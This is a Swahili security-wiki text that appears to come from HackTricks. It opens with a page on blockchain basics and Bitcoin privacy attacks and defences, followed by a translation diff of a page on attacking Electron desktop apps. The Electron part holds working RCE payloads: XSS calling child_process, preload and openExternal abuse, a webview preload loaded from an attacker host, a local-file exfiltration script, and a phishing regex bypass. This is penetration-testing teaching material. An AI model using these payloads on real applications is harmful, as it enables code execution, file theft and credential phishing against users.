- **Decentralized Applications (dApps)** zinajengwa juu ya smart contracts, zikiwa na muonekano wa kirafiki kwa mtumiaji na nyuma ya pazia inayoweza kukaguliwa kwa uwazi.
- **Tokens & Coins** zinatofautisha ambapo coins hutumikia kama pesa za kidijitali, wakati tokens zinawakilisha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinamaanisha umiliki wa mali.
- **DeFi** inasimama kwa Decentralized Finance, ikitoa huduma za kifedha bila mamlaka za kati.
- **DEX** na **DAOs** zinarejelea Mifumo ya Kubadilishana Isiyo na Kati na Mashirika ya Kujitegemea Yasiyo na Kati, mtawalia.
## Mekanismu za Makubaliano
Mekanismu za makubaliano zinahakikisha uthibitisho salama na wa makubaliano wa muamala kwenye blockchain:
- **Proof of Work (PoW)** inategemea nguvu za kompyuta kwa ajili ya uthibitisho wa muamala.
- **Proof of Stake (PoS)** inahitaji waithibitishaji kushikilia kiasi fulani cha tokens, ikipunguza matumizi ya nishati ikilinganishwa na PoW.
## Msingi wa Bitcoin
### Muamala
Muamala wa Bitcoin unahusisha kuhamasisha fedha kati ya anwani. Muamala unathibitishwa kupitia saini za kidijitali, kuhakikisha ni mmiliki pekee wa funguo za faragha anayeweza kuanzisha uhamasishaji.
#### Vipengele Muhimu:
- **Muamala wa Multisignature** unahitaji saini nyingi ili kuidhinisha muamala.
- Muamala unajumuisha **inputs** (chanzo cha fedha), **outputs** (kikundi), **fees** (zilizolipwa kwa wachimbaji), na **scripts** (sheria za muamala).
### Mtandao wa Mwanga
Unalenga kuboresha uwezo wa Bitcoin kwa kuruhusu muamala mwingi ndani ya channel, ukitangaza tu hali ya mwisho kwenye blockchain.
## Wasiwasi wa Faragha wa Bitcoin
Mashambulizi ya faragha, kama vile **Common Input Ownership** na **UTXO Change Address Detection**, yanatumia mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** inaboresha kutotambulika kwa kuficha viungo vya muamala kati ya watumiaji.
## Kupata Bitcoins kwa Njia ya Siri
Mbinu zinajumuisha biashara za pesa taslimu, uchimbaji, na kutumia mixers. **CoinJoin** inachanganya muamala mingi ili kuleta ugumu katika kufuatilia, wakati **PayJoin** inaficha CoinJoins kama muamala wa kawaida kwa ajili ya faragha zaidi.
# Mashambulizi ya Faragha ya Bitcoin
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
Katika ulimwengu wa Bitcoin, faragha ya muamala na kutotambulika kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muonekano rahisi wa mbinu kadhaa za kawaida ambazo washambuliaji wanaweza kuathiri faragha ya Bitcoin.
## **Ushirikiano wa Kawaida wa Ingizo**
Kwa kawaida ni nadra kwa ingizo kutoka kwa watumiaji tofauti kuunganishwa katika muamala mmoja kutokana na ugumu uliohusika. Hivyo, **anwani mbili za ingizo katika muamala mmoja mara nyingi zinadhaniwa kuwa za mmiliki mmoja**.
## **UTXO Change Address Detection**
UTXO, au **Unspent Transaction Output**, lazima itumike kabisa katika muamala. Ikiwa sehemu tu yake inatumwa kwa anwani nyingine, iliyobaki inaenda kwa anwani mpya ya mabadiliko. Waangalizi wanaweza kudhani anwani hii mpya inamhusu mtumaji, ikihatarisha faragha.
### Mfano
Ili kupunguza hili, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
## **Kuwekwa kwa Mitandao ya Kijamii na Majukwaa**
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kufanya **rahisi kuunganisha anwani hiyo na mmiliki wake**.
## **Analizi ya Grafu za Muamala**
Muamala unaweza kuonyeshwa kama grafu, ikifunua uhusiano wa uwezekano kati ya watumiaji kulingana na mtiririko wa fedha.
## **Heuristics ya Ingizo Isiyo ya Lazima (Heuristic ya Mabadiliko Bora)**
Heuristic hii inategemea kuchambua muamala wenye ingizo nyingi na matokeo ili kudhani ni ipi kati ya matokeo ni mabadiliko yanayorejea kwa mtumaji.
### Mfano
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Ikiwa kuongeza ingizo zaidi kunafanya mabadiliko ya pato kuwa makubwa zaidi kuliko ingizo lolote, inaweza kuchanganya heuristics.
## **Kurudi kwa Anwani Zilizo Lazimishwa**
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumika hapo awali, wakitumai mpokeaji atachanganya hizi na ingizo zingine katika miamala ya baadaye, hivyo kuunganisha anwani pamoja.
### Tabia Sahihi ya Wallet
Wallet zinapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani ambazo tayari zimetumika, ili kuzuia uvujaji huu wa faragha.
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
- **Kiasi Sahihi cha Malipo:** Miamala bila mabadiliko yanaweza kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
- **Nambari za Mzunguko:** Nambari ya mzunguko katika muamala inaonyesha ni malipo, huku pato lisilo la mzunguko likiwa ni mabadiliko.
- **Fingerprinting ya Wallet:** Wallet tofauti zina mifumo ya kipekee ya kuunda miamala, ikiruhusu wachambuzi kubaini programu iliyotumika na labda anwani ya mabadiliko.
- **Uhusiano wa Kiasi na Wakati:** Kufichua nyakati za muamala au kiasi kunaweza kufanya miamala iweze kufuatiliwa.
## **Uchambuzi wa Trafiki**
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha miamala au vizuizi na anwani za IP, wakihatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa shirika linaendesha nodi nyingi za Bitcoin, kuimarisha uwezo wao wa kufuatilia miamala.
## Zaidi
Kwa orodha kamili ya mashambulizi ya faragha na ulinzi, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Miamala ya Bitcoin Isiyo na Jina
## Njia za Kupata Bitcoins kwa Njia Isiyo na Jina
- **Miamala ya Fedha Taslimu**: Kupata bitcoin kupitia fedha taslimu.
- **Mbadala za Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa inapofanywa peke yake kwa sababu mizunguko ya uchimbaji inaweza kujua anwani ya IP ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kuipata kwa njia isiyo na jina, ingawa ni haramu na haipendekezwi.
## Huduma za Mchanganyiko
Kwa kutumia huduma ya mchanganyiko, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti kwa kurudi**, ambayo inafanya kufuatilia mmiliki wa asili kuwa ngumu. Hata hivyo, hii inahitaji kuaminika kwa huduma hiyo kutoshika kumbukumbu na kurudisha bitcoins kwa kweli. Chaguzi mbadala za mchanganyiko ni pamoja na kasino za Bitcoin.
## CoinJoin
**CoinJoin** inachanganya miamala kadhaa kutoka kwa watumiaji tofauti kuwa moja, ikifanya mchakato kuwa mgumu kwa yeyote anayejaribu kulinganisha ingizo na pato. Licha ya ufanisi wake, miamala yenye ukubwa wa kipekee wa ingizo na pato bado inaweza kufuatiliwa.
Mifano ya miamala ambayo inaweza kuwa imetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma sawa kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inafanya miamala kuwa isiyo na jina kwa fedha kutoka kwa wachimbaji.
## PayJoin
Tofauti ya CoinJoin, **PayJoin** (au P2EP), inaficha muamala kati ya pande mbili (kwa mfano, mteja na mfanyabiashara) kama muamala wa kawaida, bila sifa ya pato sawa ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kubatilisha heuristics ya umiliki wa ingizo la kawaida inayotumiwa na vyombo vya ufuatiliaji wa muamala.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions kama hizo zinaweza kuwa PayJoin, ikiongeza faragha wakati inabaki kuwa isiyo na tofauti na muamala wa kawaida wa bitcoin.
**Matumizi ya PayJoin yanaweza kuvuruga kwa kiasi kikubwa mbinu za ufuatiliaji wa jadi**, na kuifanya kuwa maendeleo ya ahadi katika juhudi za faragha ya muamala.
# Mbinu Bora za Faragha katika Cryptocurrencies
## **Mbinu za Usawazishaji wa Wallet**
Ili kudumisha faragha na usalama, kusawazisha wallets na blockchain ni muhimu. Mbinu mbili zinajitokeza:
- **Node kamili**: Kwa kupakua blockchain yote, node kamili inahakikisha faragha ya juu. Muamala wote waliowahi kufanywa huhifadhiwa kwa ndani, na kufanya iwe vigumu kwa maadui kubaini ni muamala gani au anwani gani mtumiaji anavutiwa nayo.
- **Filtering ya block upande wa mteja**: Mbinu hii inahusisha kuunda filters kwa kila block katika blockchain, ikiruhusu wallets kubaini muamala muhimu bila kufichua maslahi maalum kwa waangalizi wa mtandao. Wallets nyepesi hupakua filters hizi, zikichukua blocks kamili tu wakati kuna mechi na anwani za mtumiaji.
## **Kutumia Tor kwa Anonymity**
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa peer-to-peer, kutumia Tor inapendekezwa ili kuficha anwani yako ya IP, ikiongeza faragha unaposhirikiana na mtandao.
## **Kuzuia Utumiaji wa Anwani Tena**
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha muamala na entiti ile ile. Wallets za kisasa zinakataza matumizi ya anwani tena kupitia muundo wao.
## **Mikakati ya Faragha ya Muamala**
- **Muamala mingi**: Kugawanya malipo katika muamala kadhaa kunaweza kuficha kiasi cha muamala, kukatisha mashambulizi ya faragha.
- **Kuepuka mabadiliko**: Kuchagua muamala ambao hauhitaji matokeo ya mabadiliko kunaongeza faragha kwa kuvuruga mbinu za kugundua mabadiliko.
- **Matokeo mengi ya mabadiliko**: Ikiwa kuepuka mabadiliko si rahisi, kuunda matokeo mengi ya mabadiliko bado kunaweza kuboresha faragha.
# **Monero: Mwanga wa Anonymity**
Monero inakidhi hitaji la anonymity kamili katika muamala wa kidijitali, ikipanga kiwango cha juu cha faragha.
# **Ethereum: Gesi na Muamala**
## **Kuelewa Gesi**
Gesi hupima juhudi za kompyuta zinazohitajika kutekeleza operesheni kwenye Ethereum, ikipimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha kikomo cha gesi na ada ya msingi, pamoja na tips ili kuwahamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada inarejeshwa.
## **Kutekeleza Muamala**
Muamala katika Ethereum unahusisha mtumaji na mpokeaji, ambao unaweza kuwa anwani za mtumiaji au mkataba smart. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika muamala inajumuisha mpokeaji, sahihi ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa kuzingatia, anwani ya mtumaji inapatikana kutoka kwa sahihi, ikiondoa hitaji lake katika data ya muamala.
Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies huku akipa kipaumbele faragha na usalama.
## Marejeo
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Programu za Desktop za Electron
# Electron Programu za Desktop
{{#include ../../../banners/hacktricks-training.md}}
## Utangulizi
Electron inaunganisha backend ya ndani (kwa **NodeJS**) na frontend (**Chromium**), ingawa haina baadhi ya mekanismo ya usalama ya vivinjari vya kisasa.
Electron huunganisha backend ya ndani (kwa **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mifumo ya usalama ya vivinjari vya kisasa.
Kawaida unaweza kupata msimbo wa app ya Electron ndani ya faili la `.asar`; ili kupata msimbo unahitaji kuitoa:
Kawaida msimbo wa app ya Electron unaweza kupatikana ndani ya faili `.asar`; ili kupata msimbo huo, unahitaji kuutoa:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupata faili `main.js` iliyobainishwa ambapo mipangilio ya usalama imewekwa.
Katika msimbo wa chanzo wa Electron app, ndani ya `packet.json`, unaweza kupata `main.js` iliyotajwa ambapo mipangilio ya usalama imewekwa.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupa
```
Electron ina aina 2 za michakato:
- Mchakato Mkuu (ina ufikiaji kamili wa NodeJS)
- Mchakato wa Renderer (inapaswa kuwa na ufikiaji uliopunguzwa wa NodeJS kwa sababu za usalama)
- Mchakato Mkuu (unao ufikiaji kamili wa NodeJS)
- Mchakato wa Renderer (unapaswa kuwa na ufikiaji wa NodeJS uliopunguzwa kwa sababu za usalama)
![](<../../../images/image (182).png>)
Mchakato wa **renderer** utakuwa dirisha la kivinjari linalopakia faili:
Mchakato wa **renderer** utakuwa dirisha la kivinjari linalopakua faili:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Mipangilio ya **renderer process** yanaweza **kusanidiwa** katika **main process** ndani ya faili main.js. Baadhi ya mipangilio zitaweza **kuzuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio yamewekwa kwa usahihi**.
Mipangilio ya **renderer process** yanaweza **kuwekwa** katika **main process** ndani ya faili main.js. Baadhi ya mipangilio hii inaweza **kuzuia Electron application kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa kwa usahihi**.
Programu ya Electron inaweza **kufikia kifaa** kupitia Node apis ingawa inaweza kusanidiwa kuzuia hilo:
Electron application inaweza **kupata ufikiaji wa kifaa** kupitia Node apis, ingawa inaweza kusanidiwa ili kuzuia hilo:
- **`nodeIntegration`** - imezimwa (`off`) kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa **renderer process**.
- **`contextIsolation`** - imewashwa (`on`) kwa chaguo-msingi. Ikiwa imezimwa, **main** na **renderer processes** hazitengwa.
- **`preload`** - tupu (`empty`) kwa chaguo-msingi.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itafanya vikwazo kwa vitendo vinavyoweza kufanywa na NodeJS.
- **`nodeIntegration`** - ni `off` kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kupata Node features kutoka kwa renderer process.
- **`contextIsolation`** - ni `on` kwa chaguo-msingi. Ikiwa imezimwa, main na renderer processes hazitatenganishwa.
- **`preload`** - tupu kwa chaguo-msingi.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ni `off` kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - imezimwa (`off`) kwa chaguo-msingi.
- Ikiwa **`nodeIntegration`** imewezeshwa (**enabled**), hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **loaded in iframes** ndani ya programu ya Electron.
- Ikiwa **`nodeIntegration`** imezimwa (**disabled**), basi preloads zitapakia ndani ya iframe
- **`nodeIntegrationInSubframes`** - ni `off` kwa chaguo-msingi.
- Ikiwa **`nodeIntegration`** imewezeshwa, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo ziliopakiwa katika iframes ndani ya Electron application.
- Ikiwa **`nodeIntegration`** imezimwa, basi preloads zitaingizwa ndani ya iframe
Mfano wa configuration:
Mfano wa usanidi:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Kukamata trafiki
Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:
Badilisha usanidi wa start-main na uongeze matumizi ya proxy kama:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Ikiwa unaweza kuendesha App ya Electron kwenye mashine yako (locally), inawezekana unaweza kuifanya itekeleze arbitrary javascript code. Angalia jinsi katika:
Ikiwa unaweza kuendesha Electron App ndani ya mashine, kuna uwezekano ukaifanya itekeleze arbitrary javascript code. Angalia jinsi katika:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -112,7 +111,7 @@ Ikiwa unaweza kuendesha App ya Electron kwenye mashine yako (locally), inawezeka
## RCE: XSS + nodeIntegration
Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kuendesha programu calc kwenye Windows ni:
Ikiwa **nodeIntegration** imewekwa kwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia sifa za Node.js kwa urahisi kwa kuitaja `require()`. Kwa mfano, njia ya kuendesha application ya calc kwenye Windows ni:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Script iliyotajwa katika mpangilio huu ni l**imepakiwa kabla ya scripts nyingine katika renderer**, hivyo ina **ufikiaji usio na mipaka kwa Node APIs**:
Script iliyotajwa katika mpangilio huu ni l**ilipakiwa kabla ya scripts nyingine katika renderer**, kwa hivyo ina **ufikiaji usio na mipaka kwa Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Kwa hivyo, script inaweza export node-features kwa pages:
Kwa hivyo, script inaweza kuhamisha node-features kwa kurasa:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -153,16 +152,16 @@ runCalc()
## RCE: XSS + contextIsolation
The _**contextIsolation**_ huunda **muktadha uliotengwa kati ya script za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila upande usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
_**contextIsolation**_ inatoa muktadha tofauti kati ya script za ukurasa wa wavuti na JavaScript Electron's internal code, ili utekelezaji wa JavaScript upande mmoja usiathiri mwingine. Hii ni sifa muhimu ili kuondoa uwezekano wa RCE.
Kama muktadha haujatengwa, mshambuliaji anaweza:
Kama muktadha haujatengwa mshambulizi anaweza:
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
1. Kuendesha **arbitrary JavaScript in renderer** (XSS au kuvinjari kwenda tovuti za nje)
2. **Overwrite the built-in method** ambayo inatumiwa katika preload au Electron internal code ili kupata udhibiti
3. **Trigger** matumizi ya **overwritten function**
4. RCE?
Kuna maeneo 2 ambapo built-in methods zinaweza kuandikwa upya: katika preload code au katika Electron internal code:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@ -179,9 +178,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Kupitisha tukio la click
### Bypass click event
Ikiwa kuna vikwazo vinavyotumika unapobofya link, unaweza kuwa na uwezo wa kuvishinda kwa **kufanya bonyezo la kati** badala ya bonyezo la kushoto la kawaida
Kama kuna vikwazo vinavyowekwa unapobofya link, huenda ukaweza kuvipita kwa **doing a middle click** badala ya left click ya kawaida
```javascript
window.addEventListener('click', (e) => {
```
@ -189,26 +188,26 @@ window.addEventListener('click', (e) => {
Kwa habari zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Unapoweka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainishwa kuwa **client-side remote code execution (RCE)** inayolenga preload scripts au Electron's native code kutoka main process inazuia kwa ufanisi wakati mipangilio hii iko.
Unapoweka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainika kwamba client-side remote code execution (RCE) inayolenga preload scripts au native code ya Electron kutoka main process inazuia kwa ufanisi ikiwa mipangilio hii iko.
Wakati mtumiaji anaposhirikiana na viungo au kufungua madirisha mapya, event listeners maalum huamshwa, ambazo ni muhimu kwa usalama na utendaji wa programu:
Wakati mtumiaji abofya linki au kufungua dirisha jipya, wasikilizaji maalum wa matukio huchochewa, ambazo ni muhimu kwa usalama na utendaji wa programu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Wanasikilizi hawa **hurekebishwa na programu ya desktop** ili kutekeleza **mantiki yake ya biashara**. Programu huamua kama kiungo kilichosogezwa kinapaswa kufunguliwa ndani au katika browser ya mtandao ya nje. Uamuzi huu kwa kawaida hufanywa kupitia function, `openInternally`. Ikiwa function hii inarudisha `false`, inaonyesha kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia function ya `shell.openExternal`.
Wasikilizaji hawa **yamebadilishwa tena na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inatathmini kama kiungo kilichoelekezwa kinapaswa kufunguliwa ndani au katika kivinjari cha nje. Uamuzi huu kawaida hufanywa kupitia function, `openInternally`. Iwapo function hii inarudisha `false`, inaonyesha kwamba kiungo kinapaswa kufunguliwa nje kwa kutumia function `shell.openExternal`.
**Here is a simplified pseudocode:**
**Hapa kuna pseudocode iliyorahisishwa:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices inashauri kutoikubali untrusted content kwa `openExternal` function, kwani inaweza kusababisha RCE kupitia protocols mbalimbali. Mifumo ya uendeshaji inasaidia protocols tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi kuhusu mada hii, unaweza rejea [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha Windows protocol examples zinazoweza kutumika kuchoma udhaifu huu.
Miongozo ya usalama ya Electron JS yanashauri kutoikubali content isiyo ya kuaminika kwa function `openExternal`, kwani inaweza kusababisha RCE kupitia protocols mbalimbali. Operating systems zinaunga mkono protocols tofauti ambazo zinaweza kuzusha RCE. Kwa mifano na maelezo zaidi juu ya mada hii, rejea [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha Windows protocol examples zenye uwezo wa kutumika ku-exploit udhaifu huu.
Katika macos, function ya `openExternal` inaweza kutumika vibaya kuchochea utekelezaji wa amri za hiari kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
Katika macos, function `openExternal` inaweza kutumiwa ku-exploit ili kutekeleza amri za kiholela, kama `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Mifano ya exploits za protocol za Windows ni pamoja na:**
**Mifano ya Windows protocol exploits ni pamoja na:**
```html
<script>
window.open(
@ -230,15 +229,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Udhaifu huu unaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Vuln hii inaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** ni **sifa iliyokataliwa** inayoruhusu matumizi ya **NodeJS** katika **renderer process**, ambayo inapaswa kuzimwa kwani inaruhusu kupakia script ndani ya **preload context** kama:
The **webviewTag** ni **kipengele kilichopitwa na wakati** kinachoruhusu matumizi ya **NodeJS** katika **renderer process**, na kinapaswa kuzimwa kwa kuwa kinaruhusu kupakia script ndani ya **preload context** kama:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Kwa hiyo, mshambulizi ambaye anafanikiwa kupakia ukurasa wowote angeweza kutumia tag hiyo ili **load an arbitrary preload script**.
Kwa hivyo, mshambuliaji anayefanikiwa kupakia ukurasa wowote angeweza kutumia tag hiyo ili **load an arbitrary preload script**.
Preload script hii ilitumiwa vibaya kisha kuita **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikiita **`shell.openExternal`** ili kupata RCE:
Preload script hii ilitumiwa vibaya kisha kuita **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikitumia **`shell.openExternal`** ili kupata RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Kusoma Faili za Ndani: XSS + contextIsolation
**Kuzima `contextIsolation` kunaruhusu matumizi ya `<webview>` tags**, sawa na `<iframe>`, kwa kusoma na exfiltrating faili za ndani. Mfano uliotolewa unaonyesha jinsi ya exploit udhaifu huu ili kusoma yaliyomo ya faili za ndani:
**Kuzima `contextIsolation` kunaruhusu matumizi ya tagi za `<webview>`**, sawa na `<iframe>`, kwa kusoma na exfiltrate local files. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma yaliyomo ya faili za ndani:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Mbali na hayo, njia nyingine ya **kusoma faili ya ndani** imeshirikiwa, ikionyesha udhaifu hatari wa local file read katika Electron desktop app. Hii inahusisha kuingiza script ili exploit application na exfiltrate data:
Zaidi ya hayo, njia nyingine ya **kusoma faili ya ndani** imeshirikiwa, ikionyesha udhaifu muhimu wa local file read katika Electron desktop app. Hii inahusisha kuingiza script ili exploit application na exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
@ -271,45 +270,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Chromium ya zamani**
## **RCE: XSS + Old Chromium**
Ikiwa **chromium** inayotumiwa na programu ni **zamani** na kuna **known** **vulnerabilities** juu yake, inaweza kuwa inawezekana kufanya **exploit** na kupata **RCE** kupitia **XSS**.\
Unaweza kuona mfano katika **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Ikiwa **chromium** inayotumiwa na application ni **old** na kuna **known** **vulnerabilities** juu yake, inaweza kuwa inawezekana kufanya **exploit it and obtain RCE through a XSS**.\
Unaweza kuona mfano katika hii **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Kama umepata XSS lakini **huwezi kusababisha RCE au kuiba internal files**, unaweza kujaribu kuitumia **kuiba credentials kupitia phishing**.
Ikiwa umepata XSS lakini **cannot trigger RCE or steal internal files**, unaweza kujaribu kuitumia ili **steal credentials via phishing**.
Kwanza kabisa unahitaji kujua kinachotokea unapo jaribu kufungua URL mpya, kwa kuangalia code ya JS kwenye front-end:
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, kwa kuangalia JS code katika front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Mwito wa **`openInternally`** utaamua kama **link** itafunguliwa katika **desktop window** kwa kuwa ni link inayomilikiwa na platform, **au** ikiwa itafunguliwa katika **browser as a 3rd party resource**.
Kiito cha **`openInternally`** kitaamua kama **link** itafunguliwa ndani ya **dirisha la desktop** kwa kuwa ni link inayomilikiwa na platform, **au** itafunguliwa kwenye **kivinjari** kama rasilimali ya pande ya tatu.
Katika kesi ambapo **regex** inayotumika na function ni **vulnerable to bypasses** (kwa mfano kwa **not escaping the dots of subdomains**) attacker anaweza kutumia XSS vibaya ili **open a new window which** itakayokuwa kwenye miundombinu ya attacker ikimuomba mtumiaji **credentials**:
Ikiwa **regex** inayotumiwa na function ni **dhaifu dhidi ya bypasses** (kwa mfano kwa **kutokukimbia alama za dot za subdomains**) mshambulizi anaweza kutumia XSS kufungua **dirisha jipya ambalo** litakuwa katika miundombinu ya mshambulizi likiomba mtumiaji **taarifa za kuingia**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Itifaki ya `file://`
## `file://` Protocol
